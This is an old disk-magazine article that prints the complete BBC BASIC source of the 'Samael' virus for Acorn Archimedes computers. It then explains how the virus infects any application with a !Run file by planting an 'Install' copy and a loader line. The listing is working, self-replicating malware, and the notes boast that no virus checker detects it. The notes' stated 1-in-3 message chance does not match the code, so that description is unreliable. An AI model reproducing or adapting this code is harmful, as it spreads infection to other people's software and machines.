$faf                   Another fine article for The Word
$fff                   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ffa                        Samael virus source code

                     For Acorn Archimedes Computers

                         Isolated by DF0: / NFA

                  Another world exclusive to THE WORD


                some lines have been split to stop them
                 spilling over the edge of the screen.
$fff

Source code starts here :-
-=-=-=-=-=-=-=-=-=-=-=-=-=
$aaf
REM    Samael Virus 1.06
REM    Infects ALL applications
REM    (C) 1996 SySTrZr developments
$faa
DIMd% 4:$d%="TASK":SYS"Wimp_Initialise",200,!d%," "TOi%,e%:PROCb:DIMq%
768,c% 512:q%!4=e%:!q%=20:q%!12=0:q%!16=262339:SYS"Wimp_SendMessage",17,q%,0:
DIMj% 30:DIMa% 60:a$="xx":ONERRORPROCa
PROCc:REPEAT:SYSg%,0,q%TOA%:CASEA%OF
WHEN17,18:PROCd(q%)
ENDCASE
UNTILFALSE
DEFPROCc:ENDPROC
DEFPROCd(q%):LOCALk%,f%:ONERRORLOCALENDPROC
f%=q%!16:CASEf%OF
WHEN0:IFA%=18THENPROCa
WHEN262339:IF(A%=17)AND(q%!4<>e%)THEN
SYS"OS_ReadVarVal","Obey$Dir",a%,a%:b%=0:REPEAT:b%=b%+1:
UNTILb%>20ORa%?b%=ASC"."ORa%?b%=0:IFa%?b%=ASC"."THEN a%?b%=13:
b$=$a%:IFb$<>a$THEN IFa$<>"xx"THENPROCe
a$=b$
ENDIF
ENDIF
ENDCASE
ENDPROC
DEFPROCa:SYS"Wimp_CloseDown":ENDPROC
DEFPROCb:a=(1<<18)+(3<<6):c=a+1:d=a+5:e=a+6:g%=a+7:f=a+8:g=a+9:l%=a+10:
h=a+11:i=a+15:b=a+16:j=a+20:k=a+21:ENDPROC
DEFPROCg:SYSb,,-1:!c%=ERR:$(c%+4)=REPORT$+" at line "+STR$ERL+CHR$0:
SYS"Wimp_ReportError",c%,1,"This task":PROCa:END
ENDPROC
DEFPROCe:SYS"Hourglass_On":E=OPENIN"<Obey$Dir>.Install":IFE<>0THENCLOSE#E:
PROCf
ONERRORLOCALOSCLI("SHUT"):ENDPROC
SYS"XOS_CLI","Save <Obey$Dir>.Install "+STR$~PAGE+" "+STR$~TOP:
SYS"XOS_CLI","SetType <Obey$dir>.Install Basic":
SYS"XOS_CLI","Access <Obey$Dir>.!Run WR":
c$="BASIC -quit <Obey$Dir>.Install"+CHR$10:x=OPENUP"<Obey$dir>.!run":
PTR#x=EXT#x:BPUT#x,CHR$10+"Run<Obey$Dir>.Fast"
CLOSE#x:h%=OPENOUT"<Obey$Dir>.Fast":
BPUT#h%,"wimpslot -min 16k -max 16k"+CHR$10+c$:
CLOSE#h%:SYS"XOS_CLI","SetType <Obey$dir>.Fast Obey":SYS"Hourglass_Off"
RCHN=INT(RND(10))
IF RCHN = 3 THEN PRINT "Show me the way to the Baphomets Throne":
PRINT "The Samael virus 1.06"
ENDPROC
DEFPROCf:SYS"Hourglass_Off":ENDPROC

$afa
Notes on the code :-
-=-=-=-=-=-=-=-=-=-=
Although  this  virus  is  coded  in  BASIC,it is incredibly virulent.It
spreads  to  ANY  application  with  a  !Run  file,which  is practically
anything.It  eats  up  a hell of a lot of memory unless it is called via
the Fastloader code it generates as an Obey file,which sets the Wimpslot
as  16k.It  has no payload apart from a 1 in 3 chance of a message being
printed  after  infection,although this could be changed.  It infects by
writing  itself  as  "Install"  to the target !Application directory and
then  writes  an  Obey  file  which sets the Wimpslot and loads the main
code.   It  then  adds  a  line  to the !Run file,telling it to load the
Fastloader  code.  SO far,this virus has not been recognised,and has not
been included in any versions of !Virus checker, so I presume it is only
a very recent virus.  Yet another first for NFA !  Details of this virus
will be passed onto the appropriate anti-virus coders..
$fff
End.